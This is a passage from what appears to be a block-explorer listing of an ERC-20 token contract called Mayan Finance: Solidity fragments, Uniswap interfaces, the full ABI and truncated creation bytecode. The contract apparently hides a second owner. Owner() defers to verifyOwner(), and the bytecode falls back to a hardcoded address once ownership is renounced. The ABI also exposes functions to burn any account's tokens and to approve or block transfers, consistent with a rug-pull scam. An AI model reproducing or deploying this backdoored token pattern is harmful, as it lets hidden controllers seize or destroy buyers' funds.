    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    /**
     * @dev Set new distributor.
     */
    function addTeamMember(address account) external onlyOwner {
        _team = account;
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
}

File 6 of 6: Uniswap.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.1;

interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"address","name":"value","type":"address"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"_setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addTeamMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"approveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"isExcludedFromLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526b204fce5e3e2502611000000060055562278f58600f5560016011556001601260006101000a81548160ff02191690831515021790555065013ca65120006013556001601560006101000a81548160ff0219169083151502179055506001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff0219169083151502179055506001602360006101000a81548160ff021916908315150217905550348015620000be57600080fd5b506040518060400160405280600d81526020017f4d6179616e2046696e616e6365000000000000000000000000000000000000008152506040518060400160405280600581526020017f4d4159414e00000000000000000000000000000000000000000000000000000081525060006200013d6200050d60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550732a801221c2a349809f5097f53c4621928d8e8167600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081600690805190602001906200024892919062000a04565b5080600790805190602001906200026192919062000a04565b5060055460048190555050506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050620002998160016200051560201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b8152505060008060008060008060006b033b2e3c9fd0803ce80000009050866018819055508560198190555084601a81905550601a5460195460185462000314919062000bfc565b62000320919062000bfc565b60178190555083601c8190555082601d8190555081601e81905550601e54601d54601c5462000350919062000bfc565b6200035c919062000bfc565b601b819055506107d0600a8262000374919062000c91565b62000380919062000c59565b600c8190555069152d02c7e14af6800000600b81905550693f870857a3e0e3800000600a81905550620003b86200058060201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004086200058060201b60201c565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200046a6200045c6200058060201b60201c565b6001620005a960201b60201c565b6200047d306001620005a960201b60201c565b6200049261dead6001620005a960201b60201c565b620004b4620004a66200058060201b60201c565b60016200051560201b60201c565b620004c73060016200051560201b60201c565b620004dc61dead60016200051560201b60201c565b620004ee33826200066460201b60201c565b620004fe6200081560201b60201c565b50505050505050505062000e46565b600033905090565b620005256200084960201b60201c565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005b96200084960201b60201c565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000658919062000b4b565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620006d7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006ce9062000bac565b60405180910390fd5b620006eb60008383620008da60201b60201c565b6200070781600854620008df60201b620027231790919060201c565b6008819055506200076681600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620008df60201b620027231790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000809919062000bce565b60405180910390a35050565b6000620008276200084960201b60201c565b6000601560006101000a81548160ff0219169083151502179055506001905090565b620008596200050d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200087f6200094260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620008d8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008cf9062000b8a565b60405180910390fd5b565b505050565b6000808284620008f0919062000bfc565b90508381101562000938576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200092f9062000b68565b60405180910390fd5b8091505092915050565b600080620009556200095e60201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620009db5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620009ff565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b82805462000a129062000d08565b90600052602060002090601f01602090048101928262000a36576000855562000a82565b82601f1062000a5157805160ff191683800117855562000a82565b8280016001018555821562000a82579182015b8281111562000a8157825182559160200191906001019062000a64565b5b50905062000a91919062000a95565b5090565b5b8082111562000ab057600081600090555060010162000a96565b5090565b62000abf8162000cf2565b82525050565b600062000ad4601b8362000beb565b915062000ae18262000dcb565b602082019050919050565b600062000afb60208362000beb565b915062000b088262000df4565b602082019050919050565b600062000b22601f8362000beb565b915062000b2f8262000e1d565b602082019050919050565b62000b458162000cfe565b82525050565b600060208201905062000b62600083018462000ab4565b92915050565b6000602082019050818103600083015262000b838162000ac5565b9050919050565b6000602082019050818103600083015262000ba58162000aec565b9050919050565b6000602082019050818103600083015262000bc78162000b13565b9050919050565b600060208201905062000be5600083018462000b3a565b92915050565b600082825260208201905092915050565b600062000c098262000cfe565b915062000c168362000cfe565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000c4e5762000c4d62000d3e565b5b828201905092915050565b600062000c668262000cfe565b915062000c738362000cfe565b92508262000c865762000c8562000d6d565b5b828204905092915050565b600062000c9e8262000cfe565b915062000cab8362000cfe565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ce75762000ce662000d3e565b5b828202905092915050565b60008115159050919050565b6000819050919050565b6000600282049050600182168062000d2157607f821691505b6020821081141562000d385762000d3762000d9c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60805160601c61591a62000e816000396000818161111101528181612d3201528181613f3101528181614047015261406e015261591a6000f3fe6080604052600436106103fe5760003560e01c80638ea5220f11610213578063bbc0c74211610123578063d94160e0116100ab578063f11a24d31161007a578063f11a24d314610f58578063f2fde38b14610f83578063f637434214610fac578063f8b45b0514610fd7578063fe72b27a1461100257610405565b8063d94160e014610e88578063dd62ed3e14610ec5578063e2f4560514610f02578063e884f26014610f2d57610405565b8063c2b7bbb6116100f2578063c2b7bbb614610da1578063c876d0b914610dca578063c8c8ebe414610df5578063d257b34f14610e20578063d85ba06314610e5d57610405565b8063bbc0c74214610cfb578063c024666814610d26578063c17b5b8c14610d4f578063c18bc19514610d7857610405565b8063a0d82dc5116101a6578063a746223f11610175578063a746223f14610c06578063a9059cbb14610c2f578063aacebbe314610c6c578063b62496f514610c95578063bbbb3ffc14610cd257610405565b8063a0d82dc514610b4a578063a165506f14610b75578063a457c2d714610b9e578063a4c82a0014610bdb57610405565b80639c3b4fdc116101e25780639c3b4fdc14610aa05780639dc29fac14610acb5780639ec22c0e14610af45780639fccce3214610b1f57610405565b80638ea5220f146109f65780639213691314610a21578063924de9b714610a4c57806395d89b4114610a7557610405565b80633582ad231161030e578063715018a6116102a157806375f0a8741161027057806375f0a874146109355780637bce5a04146109605780638095d5641461098b5780638a8c523c146109b45780638da5cb5b146109cb57610405565b8063715018a6146108a1578063730c1888146108b8578063751039fc146108e15780637571336a1461090c57610405565b80634fbee193116102dd5780634fbee193146107d15780636a486a8e1461080e5780636ddd17131461083957806370a082311461086457610405565b80633582ad231461071557806339509351146107405780633eb2b5ad1461077d57806349bd5a5e146107a657610405565b80631a8145bb1161039157806326ededb81161036057806326ededb81461064057806327c8f835146106695780632c3e486c146106945780632e82f1a0146106bf578063313ce567146106ea57610405565b80631a8145bb146105845780631f3fed8f146105af578063203e727e146105da57806323b872dd1461060357610405565b806318160ddd116103cd57806318160ddd146104da5780631816467f14610505578063184c16c51461052e578063199ffc721461055957610405565b806306fdde031461040a578063095ea7b31461043557806310d5de53146104725780631694505e146104af57610405565b3661040557005b600080fd5b34801561041657600080fd5b5061041f61103f565b60405161042c9190614a38565b60405180910390f35b34801561044157600080fd5b5061045c60048036038101906104579190614327565b6110d1565b6040516104699190614a02565b60405180910390f35b34801561047e57600080fd5b506104996004803603810190610494919061420e565b6110ef565b6040516104a69190614a02565b60405180910390f35b3480156104bb57600080fd5b506104c461110f565b6040516104d19190614a1d565b60405180910390f35b3480156104e657600080fd5b506104ef611133565b6040516104fc9190614d7a565b60405180910390f35b34801561051157600080fd5b5061052c6004803603810190610527919061420e565b61113d565b005b34801561053a57600080fd5b50610543611205565b6040516105509190614d7a565b60405180910390f35b34801561056557600080fd5b5061056e61120b565b60405161057b9190614d7a565b60405180910390f35b34801561059057600080fd5b50610599611211565b6040516105a69190614d7a565b60405180910390f35b3480156105bb57600080fd5b506105c4611217565b6040516105d19190614d7a565b60405180910390f35b3480156105e657600080fd5b5061060160048036038101906105fc919061443c565b61121d565b005b34801561060f57600080fd5b5061062a6004803603810190610625919061429c565b6112b8565b6040516106379190614a02565b60405180910390f35b34801561064c57600080fd5b50610667600480360381019061066291906143bb565b611391565b005b34801561067557600080fd5b5061067e611494565b60405161068b91906149e7565b60405180910390f35b3480156106a057600080fd5b506106a961149a565b6040516106b69190614d7a565b60405180910390f35b3480156106cb57600080fd5b506106d46114a0565b6040516106e19190614a02565b60405180910390f35b3480156106f657600080fd5b506106ff6114b3565b60405161070c9190614def565b60405180910390f35b34801561072157600080fd5b5061072a6114bc565b6040516107379190614a02565b60405180910390f35b34801561074c57600080fd5b5061076760048036038101906107629190614327565b6114cf565b6040516107749190614a02565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f919061420e565b611582565b005b3480156107b257600080fd5b506107bb6115ce565b6040516107c891906149e7565b60405180910390f35b3480156107dd57600080fd5b506107f860048036038101906107f3919061420e565b6115f4565b6040516108059190614a02565b60405180910390f35b34801561081a57600080fd5b5061082361164a565b6040516108309190614d7a565b60405180910390f35b34801561084557600080fd5b5061084e611650565b60405161085b9190614a02565b60405180910390f35b34801561087057600080fd5b5061088b6004803603810190610886919061420e565b611663565b6040516108989190614d7a565b60405180910390f35b3480156108ad57600080fd5b506108b66116ac565b005b3480156108c457600080fd5b506108df60048036038101906108da919061448e565b611772565b005b3480156108ed57600080fd5b506108f661183e565b6040516109039190614a02565b60405180910390f35b34801561091857600080fd5b50610933600480360381019061092e91906142eb565b61186a565b005b34801561094157600080fd5b5061094a6118cd565b60405161095791906149e7565b60405180910390f35b34801561096c57600080fd5b506109756118f3565b6040516109829190614d7a565b60405180910390f35b34801561099757600080fd5b506109b260048036038101906109ad91906144dd565b6118f9565b005b3480156109c057600080fd5b506109c9611984565b005b3480156109d757600080fd5b506109e06119cb565b6040516109ed91906149e7565b60405180910390f35b348015610a0257600080fd5b50610a0b6119f4565b604051610a1891906149e7565b60405180910390f35b348015610a2d57600080fd5b50610a36611a1a565b604051610a439190614d7a565b60405180910390f35b348015610a5857600080fd5b50610a736004803603810190610a6e9190614413565b611a20565b005b348015610a8157600080fd5b50610a8a611a45565b604051610a979190614a38565b60405180910390f35b348015610aac57600080fd5b50610ab5611ad7565b604051610ac29190614d7a565b60405180910390f35b348015610ad757600080fd5b50610af26004803603810190610aed9190614327565b611add565b005b348015610b0057600080fd5b50610b09611af3565b604051610b169190614d7a565b60405180910390f35b348015610b2b57600080fd5b50610b34611af9565b604051610b419190614d7a565b60405180910390f35b348015610b5657600080fd5b50610b5f611aff565b604051610b6c9190614d7a565b60405180910390f35b348015610b8157600080fd5b50610b9c6004803603810190610b979190614260565b611b05565b005b348015610baa57600080fd5b50610bc56004803603810190610bc09190614327565b611b1b565b604051610bd29190614a02565b60405180910390f35b348015610be757600080fd5b50610bf0611be8565b604051610bfd9190614d7a565b60405180910390f35b348015610c1257600080fd5b50610c2d6004803603810190610c289190614363565b611bee565b005b348015610c3b57600080fd5b50610c566004803603810190610c519190614327565b611cc1565b604051610c639190614a02565b60405180910390f35b348015610c7857600080fd5b50610c936004803603810190610c8e919061420e565b611cdf565b005b348015610ca157600080fd5b50610cbc6004803603810190610cb7919061420e565b611da7565b604051610cc991906149e7565b60405180910390f35b348015610cde57600080fd5b50610cf96004803603810190610cf49190614260565b611dda565b005b348015610d0757600080fd5b50610d10611ebe565b604051610d1d9190614a02565b60405180910390f35b348015610d3257600080fd5b50610d4d6004803603810190610d4891906142eb565b611ed1565b005b348015610d5b57600080fd5b50610d766004803603810190610d7191906144dd565b611f82565b005b348015610d8457600080fd5b50610d9f6004803603810190610d9a919061443c565b61200d565b005b348015610dad57600080fd5b50610dc86004803603810190610dc3919061420e565b6120a8565b005b348015610dd657600080fd5b50610ddf612121565b604051610dec9190614a02565b60405180910390f35b348015610e0157600080fd5b50610e0a612134565b604051610e179190614d7a565b60405180910390f35b348015610e2c57600080fd5b50610e476004803603810190610e42919061443c565b61213a565b604051610e549190614a02565b60405180910390f35b348015610e6957600080fd5b50610e7261221b565b604051610e7f9190614d7a565b60405180910390f35b348015610e9457600080fd5b50610eaf6004803603810190610eaa919061420e565b612221565b604051610ebc9190614a02565b60405180910390f35b348015610ed157600080fd5b50610eec6004803603810190610ee79190614260565b612277565b604051610ef99190614d7a565b60405180910390f35b348015610f0e57600080fd5b50610f176122fe565b604051610f249190614d7a565b60405180910390f35b348015610f3957600080fd5b50610f42612304565b604051610f4f9190614a02565b60405180910390f35b348015610f6457600080fd5b50610f6d612330565b604051610f7a9190614d7a565b60405180910390f35b348015610f8f57600080fd5b50610faa6004803603810190610fa5919061420e565b612336565b005b348015610fb857600080fd5b50610fc161246b565b604051610fce9190614d7a565b60405180910390f35b348015610fe357600080fd5b50610fec612471565b604051610ff99190614d7a565b60405180910390f35b34801561100e57600080fd5b506110296004803603810190611024919061443c565b612477565b6040516110369190614a02565b60405180910390f35b60606006805461104e9061503d565b80601f016020809104026020016040519081016040528092919081815260200182805461107a9061503d565b80156110c75780601f1061109c576101008083540402835291602001916110c7565b820191906000526020600020905b8154815290600101906020018083116110aa57829003601f168201915b5050505050905090565b60006110e56110de612781565b8484612789565b6001905092915050565b60256020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600854905090565b611145612954565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b60115481565b60205481565b601f5481565b611225612954565b670de0b6b3a76400006103e8600161123b611133565b6112459190614ef1565b61124f9190614ec0565b6112599190614ec0565b81101561129b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129290614d5a565b60405180910390fd5b670de0b6b3a7640000816112af9190614ef1565b600b8190555050565b60006112c58484846129d2565b611386846112d1612781565b6113818560405180606001604052806028815260200161589860289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611337612781565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff